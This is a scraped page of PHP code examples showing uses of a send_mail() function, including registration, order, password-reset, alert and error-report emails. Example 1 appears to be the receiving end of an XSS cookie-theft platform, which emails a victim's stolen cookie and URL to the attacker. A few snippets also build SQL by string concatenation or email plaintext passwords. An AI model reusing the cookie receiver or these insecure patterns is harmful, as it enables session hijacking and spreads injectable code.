Exemplo n.º 1
2
 function info()
 {
     $bid = intval($_GET['bid']);
     extract($_GET, EXTR_SKIP);
     if ($bid) {
         $info = new InfoModel($bid);
         $info->set(htmlentities($title), htmlentities($url), htmlentities($cookie));
         $browser = new BrowserModel();
         $data = $browser->fetch_first("*", array("bid" => $bid));
         $uid = M("Project")->fetch_first("uid", array("pid" => $data['pid']));
         $email = M("User")->fetch_first("email", array("uid" => $uid['uid']));
         $email = $email['email'];
         if ($url && $cookie && $data['active'] == 0) {
             $browser->login($bid);
             $title = "[" . date("Y-m-d H:i:s", time()) . "] 亲爱的" . $_COOKIE['xing_name'] . ": 您要的cookie到了";
             $content = "\r\n            开门    您的cookie到了  </br>\r\n     url:{$url} </br>\r\n     cookie:{$cookie} </br>\r\n            具体请见" . SITE_ROOT . "包邮哦  亲 !!!! ";
             if ($email) {
                 if (SAE) {
                     // sae  发送邮件
                     send_sae_mail($email, $title, $content);
                 } else {
                     send_mail($email, $title, $content);
                 }
             }
         }
     }
 }
Exemplo n.º 2
0
function my_member_validate($uid, $email, $role_id = '', $new = 0, $check_allow = 1)
{
    if (1 > ($uid = (int) $uid)) {
        return false;
    }
    if (!($email = trim($email))) {
        return false;
    }
    $sys_config = jconf::get();
    if ($new == 0 && !$sys_config['reg_email_verify']) {
        return false;
    }
    if ($check_allow && jdisallow($uid)) {
        return false;
    }
    $sql = "select * from `" . TABLE_PREFIX . "member_validate` where `uid`='{$uid}' order by `regdate` asc";
    $query = DB::query($sql);
    $data = array();
    if (DB::num_rows($query) > 0) {
        DB::query("delete from `" . TABLE_PREFIX . "member_validate` where `uid`='{$uid}'");
    }
    $data['uid'] = $uid;
    $data['email'] = $email;
    $data['role_id'] = (int) ($role_id > 0 ? $role_id : $sys_config['normal_default_role_id']);
    $data['key'] = substr(md5(md5($uid . $email . $role_id) . md5(uniqid(mt_rand(), true))), 3, 16);
    $data['status'] = $data['verify_time'] = '0';
    $data['regdate'] = TIMESTAMP;
    $data['type'] = 'email';
    jtable('member_validate')->insert($data);
    $email_message = "您好:\r\n您收到此邮件是因为在 {$sys_config['site_url']} 用户注册中使用了该 Email,\r\n如果您没有进行上述操作,请忽略这封邮件。\r\n------------------------------------------------------\r\n帐号激活说明:\r\n为避免垃圾邮件或您的Email地址被滥用,我们需要对您的email有效性进行验证,\r\n您只需点击下面的链接即可激活您的帐号,并享有真正会员权限:\r\n{$sys_config['site_url']}/index.php?mod=member&code=verify&uid={$data['uid']}&key={$data['key']}&from=reg\r\n\r\n(如果上面不是链接形式,请将地址手工粘贴到浏览器地址栏再访问)\r\n感谢您的访问,祝您使用愉快!\r\n\r\n此致,\r\n{$sys_config['site_name']} 管理团队.\r\n";
    $send_result = send_mail($email, " [{$sys_config['site_name']}]Email地址验证", $email_message, $sys_config['site_name'], $sys_config['site_admin_email'], array(), 3, false);
    return $send_result;
}
Exemplo n.º 3
0
function send_mail_order()
{
    global $conn;
    global $adminEmail;
    $cust = $_SESSION['cust'];
    $name = $cust['name'];
    $address = $cust['address'];
    $tel = $cust['tel'];
    $email = $cust['email'];
    $dathang = "";
    $cart = $_SESSION['cart'];
    $tongcong = 0;
    $cnt = 0;
    foreach ($cart as $product) {
        $sql = "select * from tbl_product where id='" . $product[0] . "'";
        $result = mysql_query($sql, $conn);
        $pro = mysql_fetch_assoc($result);
        $dathang .= "Ma san pham : " . $pro['code'] . "<br>";
        $dathang .= "Ten san pham : " . $pro['name'] . "<br>";
        $dathang .= "So luong : " . $product[1] . "<br>";
        $dathang .= "Don gia : " . number_format($pro['price'], 0, ',', '.') . "&nbsp;" . "\$" . "<br>";
        $dathang .= "Thanh tien : " . $pro['price'] * $product[1] . "&nbsp;" . "\$<br><br>";
        $tongcong = $tongcong + $pro['price'] * $product[1] . "&nbsp;" . "\$";
        $cnt = $cnt + 1;
    }
    $dathang .= "<hr>Tong cong : " . number_format($tongcong, 0, ',', '.') . "&nbsp;" . "\$<br>";
    $m2 = send_mail($email, $adminEmail, "Thong tin dat hang cua : " . $name, "Ho ten : " . $name . "<br>Dia chi : " . $address . "<br>Dien thoai : " . $tel . "<br>Email : " . $email . "<BR><hr><b>Don hang :</b><br>" . $dathang);
    if (m2) {
        return "";
    } else {
        return "Không thể gửi thông tin !.";
    }
}
Exemplo n.º 4
0
 function Send_notice($mail_to, $at_content = '', $pm_content = '', $reply_content = '')
 {
     $mail_subject = "{$GLOBALS['_J']['config'][site_name]}邮件提醒";
     $mail_content = $at_content . '<br />' . $pm_content . '<br />' . $reply_content;
     $send_result = send_mail($mail_to, $mail_subject, $mail_content, array(), 3, false);
     return $send_result;
 }
Exemplo n.º 5
0
 function perform($edit = array())
 {
     $fields = array();
     if (validate_nonblank($edit['username'])) {
         $fields['username'] = $edit['username'];
     }
     if (validate_nonblank($edit['email'])) {
         $fields['email'] = $edit['email'];
     }
     if (count($fields) < 1) {
         error_exit("You must supply at least one of username or email address");
     }
     /* Now, try and find the user */
     $user = Person::load($fields);
     /* Now, we either have one or zero users.  Regardless, we'll present
      * the user with the same output; that prevents them from using this
      * to guess valid usernames.
      */
     if ($user) {
         /* Generate a password */
         $pass = generate_password();
         $user->set_password($pass);
         if (!$user->save()) {
             error_exit("Error setting password");
         }
         /* And fire off an email */
         $rc = send_mail($user, false, false, _person_mail_text('password_reset_subject', array('%site' => variable_get('app_name', 'Leaguerunner'))), _person_mail_text('password_reset_body', array('%fullname' => "{$user->firstname} {$user->lastname}", '%username' => $user->username, '%password' => $pass, '%site' => variable_get('app_name', 'Leaguerunner'))));
         if ($rc == false) {
             error_exit("System was unable to send email to that user.  Please contact system administrator.");
         }
     }
 }
Exemplo n.º 6
0
function syslog_sendemail($to, $from, $subject, $message, $smsmessage)
{
    if (syslog_check_dependencies()) {
        syslog_debug("Sending Alert email to '" . $to . "'");
        $sms = "";
        $nonsms = "";
        /* if there are SMS emails, process separately */
        if (substr_count($to, "sms@")) {
            $emails = explode(",", $to);
            if (sizeof($emails)) {
                foreach ($emails as $email) {
                    if (substr_count($email, "sms@")) {
                        $sms .= (strlen($sms) ? ", " : "") . str_replace("sms@", "", trim($email));
                    } else {
                        $nonsms .= (strlen($nonsms) ? ", " : "") . trim($email);
                    }
                }
            }
        } else {
            $nonsms = $to;
        }
        if (strlen($sms)) {
            send_mail($sms, $from, $subject, $smsmessage);
        }
        if (strlen($nonsms)) {
            if (read_config_option("syslog_html") == "on") {
                send_mail($nonsms, $from, $subject, $message, 'html_please');
            } else {
                send_mail($nonsms, $from, $subject, $message);
            }
        }
    } else {
        syslog_debug("Could not send alert, you are missing the Settings plugin");
    }
}
Exemplo n.º 7
0
 public function sendtestmail()
 {
     //				$result=send_mail(array(
     //			'to'=>'*****@*****.**',
     //			'toname'=>'赵克立',
     //			'subject'=>'邮件主题',//主题标题
     //			'fromname'=>'我是赵克立你好哦',//发件人
     //			'body'=>'邮件成功'.date('Y/m/d H:i:s'),//邮件内容
     //			//'attachment'=>'E:\SVN\frame\DataBak\20141126-003119-1.sql.gz'
     //
     //		));
     $conf = array('host' => C('MAIL_SMTP_HOST'), 'port' => C('MAIL_SMTP_PORT'), 'username' => C('MAIL_SMTP_USER'), 'password' => C('MAIL_SMTP_PASS'), 'fromemail' => C('MAIL_SMTP_FROMEMAIL'), 'to' => C('MAIL_SMTP_TESTEMAIL'), 'toname' => C('MAIL_SMTP_TESTEMAIL'), 'subject' => C('MAIL_SMTP_EMAILSUBJECT'), 'fromname' => C('MAIL_SMTP_FROMNAME'), 'body' => C('MAIL_SMTP_CE'));
     $sendmaillock = S('sendmaillock');
     if (empty($sendmaillock)) {
         $result = send_mail($conf);
         if ($result === true) {
             //设置邮件锁60秒后才可以再发送
             S('sendmaillock', true, 60);
             $this->success('邮件发送成功');
         } else {
             $this->error($result);
         }
     } else {
         $this->error('请60秒后再发送');
     }
 }
Exemplo n.º 8
0
function errorhandler($errno, $errstr, $errfile, $errline)
	{
	global $baseurl,$pagename, $show_report_bug_link,$email_errors;
	if (!error_reporting()) {return true;}
	if (!isset($pagename) || $pagename!="upload_java")
		{
		?>
		</select></table></table></table>
		<div style="border:1px solid black;font-family:verdana,arial,helvetica;position:absolute;top:100px;left:100px; background-color:white;width:400px;padding:20px;border-bottom-width:4px;border-right-width:4px;font-size:15px;color:black;">
		<table cellpadding=5 cellspacing=0><tr><td valign=middle><img src="<?php echo $baseurl?>/pages/admin/gfx/cherrybomb.gif" width="48" height="48"></td><td valign=middle align=left><span style="font-size:22px;">Sorry, an error has occurred.</span></td></tr></table>
		<p style="font-size:11px;color:black;margin-top:20px;">Please <a href="#" onClick="history.go(-1)">go back</a> and try something else.</p>
		<?php global $show_error_messages; if ($show_error_messages) { ?>
		<p style="font-size:11px;color:black;">You can <a href="<?php echo $baseurl?>/pages/check.php">check</a> your installation configuration.</p>
		<hr style="margin-top:20px;"><p style="font-size:11px;color:black;"><?php echo htmlspecialchars("$errfile line $errline: $errstr"); ?></p>
		<?php } ?>
		</div>
		<?php
		if ($email_errors){
			global $email_notify,$email_from,$email_errors_address,$applicationname;
			if ($email_errors_address==""){$email_errors_address=$email_notify;}
			send_mail($email_errors_address,$applicationname." Error",$errfile." line ".$errline.": ".$errstr,$email_from,$email_from,"",null,"Error Reporting",false);
			}
		exit();
		}
	else
		{
		# Special error message format for Java uploader, so the error is correctly displayer
		exit("ERROR: Error processing file\\n\\n $errfile line $errline\\n$errstr");
		}
	}
Exemplo n.º 9
0
 private function forgetProcess()
 {
     $forgetForm = new AdvertiseForgetForm();
     $forgetForm->attributes = $_POST['AdvertiseForgetForm'];
     if ($forgetForm->validate()) {
         $email = trim($forgetForm->email);
         //kiem tra email co ton tai hay khong
         $query = "SELECT * FROM {{" . $this->_table . "}} WHERE email = :email AND is_advertiser = 1 LIMIT 1";
         $values = array(':email' => $email);
         $row = $this->db->createCommand($query)->bindValues($values)->queryRow();
         if (empty($row)) {
             Yii::app()->session['forget_error'] = 'Email không tồn tại, vui lòng kiểm tra lại hoặc liên hệ với BQT để được giúp đỡ.';
         } else {
             //tao link reset va gui vao mail cho nguoi dung
             $time_out = strtotime('+1 day');
             $base46 = $row['id'] . '<>' . $row['email'] . '<>' . $time_out;
             $url = $this->createAbsoluteUrl('login/resetpassword', array('id' => base64_encode($base46)));
             $data = array();
             $data['user'] = $row;
             $data['url'] = $url;
             $data['time_out'] = $time_out;
             $html = $this->renderPartial('reset_password_mail', array('data' => $data), true);
             send_mail(null, $row['email'], 'Lấy lại mật khẩu', $html, array(), $fromName = 'RateApp', $mail_server = 1, $attachment = '');
             Yii::app()->session['forget_success'] = 'Hệ thống đã gửi email hướng dẫn tạo mật khẩu mới, vui lòng kiểm tra email của bạn';
         }
     }
     return $forgetForm;
 }
Exemplo n.º 10
0
function send_link_mail($mailer, $url, $app, $ver, $msg, $mail, $udid, $token)
{
    $body = $msg . PHP_EOL . "Click on following link to get started: ";
    $url .= '?token=' . $token . '&udid=' . $udid;
    $subject = 'RunThisApp invitation to test ' . $app . ' v' . $ver;
    return send_mail($mailer, $body, $url, $subject, $mail);
}
function HookAction_datesPagestoolscron_copy_hitcountAddplugincronjob()
{
    global $lang, $action_dates_restrictfield, $action_dates_deletefield, $resource_deletion_state, $action_dates_reallydelete, $action_dates_email_admin_days, $email_notify, $email_from, $applicationname;
    $allowable_fields = sql_array("select ref as value from resource_type_field where type in (4,6,10)");
    # Check that this is a valid date field to use
    if (in_array($action_dates_restrictfield, $allowable_fields)) {
        $restrict_resources = sql_query("select resource, value from resource_data where resource_type_field = '{$action_dates_restrictfield}'");
        $emailrefs = array();
        foreach ($restrict_resources as $resource) {
            $ref = $resource["resource"];
            if ($action_dates_email_admin_days != "") {
                $action_dates_email_admin_seconds = intval($action_dates_email_admin_days) * 60 * 60 * 24;
                if (time() >= strtotime($resource["value"]) - $action_dates_email_admin_seconds && time() <= strtotime($resource["value"]) - $action_dates_email_admin_seconds + 86400) {
                    $emailrefs[] = $ref;
                }
            }
            if (time() >= strtotime($resource["value"])) {
                # Restrict access to the resource as date has been reached
                $existing_access = sql_value("select access as value from resource where ref='{$ref}'", "");
                if ($existing_access == 0) {
                    echo "restricting resource " . $ref . "\r\n";
                    sql_query("update resource set access=1 where ref='{$ref}'");
                    resource_log($ref, 'a', '', $lang['action_dates_restrict_logtext'], $existing_access, 1);
                }
            }
        }
        if (count($emailrefs) > 0) {
            global $baseurl;
            # Send email as the date is within the specified number of days
            $subject = $lang['action_dates_email_subject'];
            $message = str_replace("%%DAYS", $action_dates_email_admin_days, $lang['action_dates_email_text']) . "\r\n";
            $message .= $baseurl . "?r=" . implode("\r\n" . $baseurl . "?r=", $emailrefs) . "\r\n";
            $templatevars['message'] = $message;
            echo "Sending email to " . $email_notify . "\r\n";
            send_mail($email_notify, $subject, $message, $applicationname, $email_from, "emailexpiredresources", $templatevars, $applicationname);
        }
    }
    if (in_array($action_dates_deletefield, $allowable_fields)) {
        $delete_resources = sql_query("select resource, value from resource_data where resource_type_field = '{$action_dates_deletefield}'");
        foreach ($delete_resources as $resource) {
            $ref = $resource["resource"];
            if (time() >= strtotime($resource["value"])) {
                # Delete the resource as date has been reached
                echo "deleting resource " . $ref . "\r\n";
                if ($action_dates_reallydelete) {
                    delete_resource($ref);
                } else {
                    if (!isset($resource_deletion_state)) {
                        $resource_deletion_state = 3;
                    }
                    sql_query("update resource set archive='" . $resource_deletion_state . "' where ref='" . $ref . "'");
                }
                # Remove the resource from any collections
                sql_query("delete from collection_resource where resource='{$ref}'");
                resource_log($ref, 'x', '', $lang['action_dates_delete_logtext']);
            }
        }
    }
}
Exemplo n.º 12
0
function send_remind($snt, $msg)
{
    $mail = get_email_conf();
    $emails = array_map(function ($id) {
        return get_member_email($id);
    }, $snt["who"]);
    send_mail('plain', $mail["from"], $emails, 'Show & Tell Order Remind', $msg);
}
Exemplo n.º 13
0
function generate_report($server_cfg, $game_cfg, $timestamp, $period)
{
    $report = build_report($server_cfg, $game_cfg, $period, $timestamp);
    if ($report === null) {
        return null;
    }
    send_mail($server_cfg, $game_cfg, $report);
}
Exemplo n.º 14
0
 function send_mail()
 {
     $result = send_mail(array('to' => '*****@*****.**', 'subject' => '邮件主题', 'fromname' => '我是赵克立你好哦'));
     if ($result === true) {
         echo '发送成功';
     } else {
         echo $result;
     }
 }
Exemplo n.º 15
0
    /**
     * 用户添加,并且发送激活邮件
     * @return boolean
     */
    public function createMember()
    {
        $captcha = new \Think\Verify();
        $code = I('post.checkcode');
        if ($captcha->check($code)) {
            $this->data['password'] = my_mcrypt($this->data['password'], $this->data['salt']);
            //发送邮件
            $address = $this->data['email'];
            $subject = '你还差一步就成功了';
            $username = $this->data['username'];
            $rand = my_mcrypt($username, $this->data['salt']);
            $url = U('Member/activation', array('username' => $username, 'rand' => $rand), true, true);
            $content = <<<mail
<div id="mailContentContainer" class="qmbox qm_con_body_content"><div style="background:#f4f4f4; padding:35px">
<div style="max-width:600px; margin: 20px auto; color:#333333; box-shadow: 0px 0px 12px rgba(0, 0, 0, 0.5); -webkit-box-shadow: 0px 0px 12px rgba(0, 0, 0, 0.5); -moz-box-shadow: 0px 0px 12px rgba(0, 0, 0, 0.5); background-color: #ffffff;border: 1px solid #bbbbbb;">
<div style="border-bottom: 32px solid #348cd6;">
<h1 style="margin: 0; padding: 2px 12px 0px"><a href="http://www.shop.com" target="_blank"><img src="http://t0.qlogo.cn/mbloghead/ee5db3775cb4887dee3e/100" style="height:34px;padding:0;margin:0;border:0;"></a></h1>
</div>

<div style="padding:0px 18px 8px; border-bottom: 2px solid #348cd6;">
<h4 style="font-size: 14px;margin:18px auto;line-height: 2;font-weight: bold;">亲爱的<span style="color: #348cd6;">{$username}</span> ,您好!感谢 使用仙人跳服务!</h4>

<p style="line-height: 1.7;"><span>请点击下面的激活链接,完成账号的激活操作。</span> <span style="font-weight:bold;"><a href="{$url}">{$url}</a></span></p>

<p style="font-size: 12px; color: #999; margin: 24px 0px 2px;">(如果您认为这封邮件和您无关,您可以直接忽略它)</p>

<div style="border-top:1px solid #e2e2e2;">
<div style="background-color: #f3f3f2;margin: 14px 0px;text-indent: 2em;">
<p style="padding: 2px 6px;  color: 8c8b8b; font-size: 12px; line-height: 1.66;">仙人跳文化传播有限公司,传播网络正能量,给你人生添色彩!</p>
</div>
</div>
</div>
</div>
</div>
<br><br><div style="width:1px;height:0px;overflow:hidden"><img style="width:0;height:0" src="javascript:;"></div>
<div style="text-align:center"><div style="border-top:1px solid #ddd;width: 600px;display:inline-block;padding:10px"><a style="display:inline-block;background:#ddd;border-radius:4px;padding: 3px 15px;color:#a6a6a6;text-decoration:none;font-size:12px" href="http://scu.sohu.com/track/unsubscribe.do?p=eyJ1c2VyX2lkIjogMjg0OTgsICJ0YXNrX2lkIjogIiIsICJlbWFpbF9pZCI6ICIxNDQ5ODk2MDc0NDUwXzI4NDk4XzE3NDgxXzYyNzcuc2MtMTBfMTBfMjRfMTQyLWluYm91bmQwJGt1bngtZWR1QHFxLmNvbSIsICJzaWduIjogImFmNTI3ZWE5ZTZhNWI0MmFhNjk5YTE2ZmUwZmI0Y2E2IiwgInVzZXJfaGVhZGVycyI6IHt9LCAibGFiZWwiOiAwLCAicmVjZWl2ZXIiOiAia3VueC1lZHVAcXEuY29tIiwgImNhdGVnb3J5X2lkIjogOTExMzd9" target="_blank">点击这里取消订阅</a></div></div>
<style type="text/css">.qmbox style, .qmbox script, .qmbox head, .qmbox link, .qmbox meta {display: none !important;}</style></div>
mail;
            if (!$this->add()) {
                $this->error = '用户创建失败';
                return false;
            }
            $data = array('username' => $username, 'rand' => $rand);
            if (!M('MemberActivation')->add($data)) {
                $this->error = '验证串保存失败';
                return false;
            }
            if (!send_mail($address, $subject, $content)) {
                $this->error = '邮件发送失败';
                return false;
            }
            return true;
        } else {
            $this->error = '验证码不正确';
            return false;
        }
    }
Exemplo n.º 16
0
function call_api($uri, $method = "GET", $data = NULL)
{
    global $url_base, $headers;
    $ch = curl_init();
    // Set data
    $data_string = "";
    if ($data != NULL) {
        $data_string = json_encode($data);
        $headers = array_merge(array(), $headers);
        array_push($headers, "Content-Length: " . strlen($data_string));
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
    }
    // Set curl config
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url_base . $uri);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    // Call API
    $result_string = curl_exec($ch);
    $result = json_decode($result_string, true);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if (in_array($httpCode, array(0, 401, 404, 405, 500))) {
        $body = "";
        $body = $body . "Request Url: " . $url_base . $uri . "\r\n";
        $body = $body . "Request Method: " . $method . "\r\n";
        $body = $body . "Request headers: " . json_encode($headers) . "\r\n";
        $body = $body . "Request data: " . $data_string . "\r\n";
        $body = $body . "Response status code: " . $httpCode . "\r\n";
        $body = $body . "Problem: ";
        if ($httpCode == 0) {
            $body = $body . "API Server not running.\r\n";
        } else {
            if ($httpCode == 401) {
                $body = $body . "Authentication failed.\r\n";
            } else {
                if ($httpCode == 401) {
                    $body = $body . "Method not found.\r\n";
                } else {
                    if ($httpCode == 405) {
                        $body = $body . "Method not allowed.\r\n";
                    } else {
                        $body = $body . "Internal server error occured.\r\n";
                    }
                }
            }
        }
        $body = $body . "Response: " . $result_string;
        global $default_to_address;
        send_mail("Error in API call from panopta.com", $default_to_address, $body);
        error_log("Error in API call:\n" . $body, 0);
    }
    return array("result" => $result, "httpCode" => $httpCode);
}
Exemplo n.º 17
0
 public function add()
 {
     $res = send_mail($_POST['mail'], $_POST['title'], $_POST['content']);
     if ($res) {
         $this->success('发送成功!');
     } else {
         dump($res);
         $this->error('发送失败');
     }
 }
 /**
  +----------------------------------------------------------
 * 测试邮件账号是否配置正确
  +----------------------------------------------------------
 */
 public function testEmailConfig()
 {
     C('TOKEN_ON', false);
     $return = send_mail($_POST['test_email'], "", "测试配置是否正确", "这是一封测试邮件,如果收到了说明配置没有问题", "", $_POST);
     if ($return == 1) {
         echo json_encode(array('status' => 1, 'info' => "测试邮件已经发往你的邮箱" . $_POST['test_email'] . "中,请注意查收"));
     } else {
         echo json_encode(array('status' => 0, 'info' => "{$return}"));
     }
 }
Exemplo n.º 19
0
function plug_deploy($deploy)
{
    $qb = $_SESSION['qb'];
    $USE = $_SESSION['USE'];
    $raed = suj_of_id($deploy);
    $nl = $_GET['nl'] ? $_GET['nl'] : "nl";
    if ($deploy && $USE) {
        //prep
        list($qauth, $subj) = sql('name,suj', 'qda', 'r', 'id="' . $deploy . '"');
        $msg = sql('msg', 'qdm', 'v', 'id="' . $deploy . '"');
        if ($USE == $qauth or auth(5)) {
            $http = host();
            if (!$_POST['dpl']) {
                reqp('mail');
                $qmail = mail_list_tosend();
                $ret .= form("/?read={$deploy}&deploy={$deploy}&nl=nlb", txarea('dpl" maxlength="1000', $qmail, 40, 10) . br() . checkbox("dpf", "ok", "html", 1) . checkbox("multiple", "ok", "each_one", 1) . input2('submit', "send", nms(50), 'popbt'));
            } else {
                $htacc = urlread($deploy);
                $_SESSION['nl'] = $nl;
                //deploy
                if ($_POST['dpf'] == "ok") {
                    $mail_format = "html";
                    $txt = format_txt($msg, $nl, $deploy);
                    $txt = html_entity_decode($txt);
                    $txt = str_replace('href="/', 'href="' . $http . '/', $txt);
                    $msg = lkc("", $http . $htacc, bal("h2", $subj));
                    $msg .= divc("panel justy", $txt);
                } else {
                    $mail_format = "txt";
                    $msg = clean_internaltag($msg);
                    $msg = html_entity_decode($msg);
                }
                $_SESSION['nl'] = "";
                //send
                $sender = sql('mail', 'qdu', 'v', 'name="' . $USE . '"');
                $lstm = str_replace("\n", ",", $_POST['dpl']);
                $lstm = str_replace("\r", ",", $lstm);
                $listmail = explode(",", trim($lstm));
                if ($_POST['multiple'] == "ok" && is_array($listmail)) {
                    $sentto = send_mail_r($listmail, $mail_format, $qb . ' :: ' . $raed, $msg, $sender, $htacc);
                } else {
                    $sentto = $_POST['dpl'];
                    $vm = str_replace(array(",", ";", "\n", " "), ",", $sentto);
                    send_mail($mail_format, $vm, $qb . ' :: ' . $raed, $msg, $sender, $htacc);
                }
                $ret .= lkc("popbt", '/?read=' . $deploy, 'article ' . $deploy . ' sent to: ' . $sentto);
            }
        } else {
            $ret .= btn("popdel", "forbidden");
        }
    }
    //if($_POST['dpl'])return $ret;
    return $ret;
}
Exemplo n.º 20
0
function send_mail_to_first($emails, $subject, $text)
{
    $ret = false;
    foreach ($emails as $email) {
        $ret = send_mail($email, $subject, $text);
        if ($ret) {
            break;
        }
    }
    return $ret;
}
Exemplo n.º 21
0
 public function auth($datas)
 {
     $datas = $_POST;
     #var_dump(session("yanzhengma"));
     # var_dump($_SESSION['verify']);
     #echo "<br/>";
     # var_dump($_POST['verify_code']);
     # exit;
     /*if ($_SESSION['verify'] != ($_POST['verify_code'])) {
           die(json_encode(array('status' => 0, 'info' => "验证码错误啦,再输入吧")));
       } */
     $M = M("Admin");
     if ($M->where("`a_name`='" . $datas['name'] . "'")->count() >= 1) {
         $info = $M->where("`a_name`='" . $datas["name"] . "'")->find();
         if ($info['status'] == 0) {
             return array('status' => 0, 'info' => "你的账号被禁用,有疑问联系管理员吧");
         }
         if ($datas['op_type'] == 2) {
             $rc = randCode(5);
             $code = $info['aid'] . md5($rc);
             $url = str_replace(C("webPath"), "", C("WEB_ROOT")) . U("Public/findPwd", array("code" => $code));
             $body = "请在浏览器上打开地址:<a href='{$url}'>{$url}</a> 进行密码重置操作                            ";
             $return = send_mail($datas["name"], "", "找回密码", $body);
             if ($return == 1) {
                 $info['find_code'] = $rc;
                 $M->save($info);
                 return array('status' => 1, 'info' => "重置密码邮件已经发往你的邮箱" . $_POST['name'] . "中,请注意查收");
             } else {
                 return array('status' => 0, 'info' => "{$return}");
             }
             exit;
         }
         if ($info['a_pwd'] == encrypt($datas['pwd'])) {
             $loginMarked = C("TOKEN");
             $loginMarked = md5($loginMarked['admin_marked']);
             $shell = $info['a_id'] . md5($info['a_pwd'] . C('AUTH_CODE'));
             $_SESSION[$loginMarked] = "{$shell}";
             $shell .= "_" . time();
             setcookie($loginMarked, "{$shell}", 0, "/");
             $_SESSION['my_info'] = $info;
             //修改最后登录的时间和IP地址
             $M->where("a_id=" . $info['a_id'])->save(array("last_login" => time(), "last_ip" => $_SERVER['REMOTE_ADDR']));
             //获取管理员的角色
             $role_list = M("RoleUser")->where("user_id=" . $info['a_id'])->find();
             $_SESSION['my_info']['role'] = $role_list['role_id'];
             return array('status' => 1, 'info' => "登录成功", 'url' => U("Index/index"));
         } else {
             return array('status' => 0, 'info' => "账号或密码错误");
         }
     } else {
         return array('status' => 0, 'info' => "不存在账户为:" . $datas["name"] . '的管理员账号!');
     }
 }
Exemplo n.º 22
0
 function sendForm($theme_folder)
 {
     global $AVE_Template, $mod;
     //		$mail_absender = get_settings('mail_from');
     //		$mail_name = get_settings('mail_from_name');
     $message = $mod['config_vars']['RECOMMEND_MESSAGE'];
     $message = str_replace("%N%", "\n", $message);
     $message = str_replace("%PAGE%", base64_decode($_POST['page']), $message);
     $message = str_replace("&amp;", "&", $message);
     send_mail($_POST['receiver_email'], $message, $mod['config_vars']['RECOMMEND_SUBJECT'], $_POST['recommend_email'], $_POST['recommend_name'], 'text');
     $AVE_Template->display($mod['tpl_dir'] . 'recommend_thankyou.tpl');
 }
Exemplo n.º 23
0
function sendmail($formValues, $mailbody)
{
    $resp = new xajaxResponse();
    $resp->addAssign("state", "innerHTML", "<img src=\"images/loading.gif\">正在发送...");
    if (send_mail($formValues['mailto'], $formValues['subject'], $mailbody)) {
        $resp->addAssign("state", "innerHTML", "");
        $resp->addAlert("send ok");
    } else {
        $resp->addAlert($mailbody);
    }
    return $resp;
}
Exemplo n.º 24
0
function errorhandler($errno, $errstr, $errfile, $errline)
{
    global $baseurl, $pagename, $show_report_bug_link, $email_errors, $show_error_messages;
    if (!error_reporting()) {
        return true;
    }
    $error_note = "Sorry, an error has occurred. ";
    $error_info = "{$errfile} line {$errline}: {$errstr}";
    if (substr(PHP_SAPI, 0, 3) == 'cli') {
        echo $error_note;
        if ($show_error_messages) {
            echo $error_info;
        }
        echo PHP_EOL;
    } else {
        ?>
        </select></table></table></table>
        <div style="box-shadow: 3px 3px 20px #666;font-family:ubuntu,arial,helvetica,sans-serif;position:absolute;top:150px;left:150px; background-color:white;width:450px;padding:20px;font-size:15px;color:#fff;border-radius:5px;">
            <div style="font-size:30px;background-color:red;border-radius:50%;min-width:35px;float:left;text-align:center;font-weight:bold;">!</div>
            <span style="font-size:30px;color:black;padding:14px;"><?php 
        echo $error_note;
        ?>
</span>
            <p style="font-size:14px;color:black;margin-top:20px;">Please <a href="#" onClick="history.go(-1)">go back</a> and try something else.</p>
            <?php 
        if ($show_error_messages) {
            ?>
                <p style="font-size:14px;color:black;">You can <a href="<?php 
            echo $baseurl;
            ?>
/pages/check.php">check</a> your installation configuration.</p>
                <hr style="margin-top:20px;">
                <p style="font-size:11px;color:black;"><?php 
            echo htmlspecialchars($error_info);
            ?>
</p>
                <?php 
        }
        ?>
        </div>
        <?php 
    }
    if ($email_errors) {
        global $email_notify, $email_from, $email_errors_address, $applicationname;
        if ($email_errors_address == "") {
            $email_errors_address = $email_notify;
        }
        send_mail($email_errors_address, "{$applicationname} Error", $error_info, $email_from, $email_from, "", null, "Error Reporting");
    }
    hook('after_error_handler', '', array($errno, $errstr, $errfile, $errline));
    exit;
}
Exemplo n.º 25
0
function doit()
{
    global $HTTP_POST_VARS;
    if ($HTTP_POST_VARS['field_username'] != "") {
        $passwordhash = query_password($HTTP_POST_VARS['field_username']);
    } else {
        $passwordhash = query_password($HTTP_POST_VARS['field_email'], false);
    }
    if (is_array($passwordhash)) {
        send_mail($passwordhash);
    }
    done();
}
Exemplo n.º 26
0
function Contacts_sendCustomerPortalLoginDetails($entityData)
{
    $adb = PearDatabase::getInstance();
    $moduleName = $entityData->getModuleName();
    $wsId = $entityData->getId();
    $parts = explode('x', $wsId);
    $entityId = $parts[1];
    $email = $entityData->get('email');
    if ($entityData->get('portal') == 'on' || $entityData->get('portal') == '1') {
        $sql = "SELECT id, user_name, user_password, isactive FROM vtiger_portalinfo WHERE id=?";
        $result = $adb->pquery($sql, array($entityId));
        $insert = false;
        if ($adb->num_rows($result) == 0) {
            $insert = true;
        } else {
            $dbusername = $adb->query_result($result, 0, 'user_name');
            $isactive = $adb->query_result($result, 0, 'isactive');
            if ($email == $dbusername && $isactive == 1 && !$entityData->isNew()) {
                $update = false;
            } else {
                if ($entityData->get('portal') == 'on' || $entityData->get('portal') == '1') {
                    $sql = "UPDATE vtiger_portalinfo SET user_name=?, isactive=1 WHERE id=?";
                    $adb->pquery($sql, array($email, $entityId));
                    $password = $adb->query_result($result, 0, 'user_password');
                    $update = true;
                } else {
                    $sql = "UPDATE vtiger_portalinfo SET user_name=?, isactive=? WHERE id=?";
                    $adb->pquery($sql, array($email, 0, $entityId));
                    $update = false;
                }
            }
        }
        if ($insert == true) {
            $password = makeRandomPassword();
            $sql = "INSERT INTO vtiger_portalinfo(id,user_name,user_password,type,isactive) VALUES(?,?,?,?,?)";
            $params = array($entityId, $email, $password, 'C', 1);
            $adb->pquery($sql, $params);
        }
        if ($insert == true || $update == true) {
            require_once "modules/Emails/mail.php";
            global $current_user;
            $emailData = Contacts::getPortalEmailContents($entityData, $password, 'LoginDetails');
            $subject = $emailData['subject'];
            $contents = $emailData['body'];
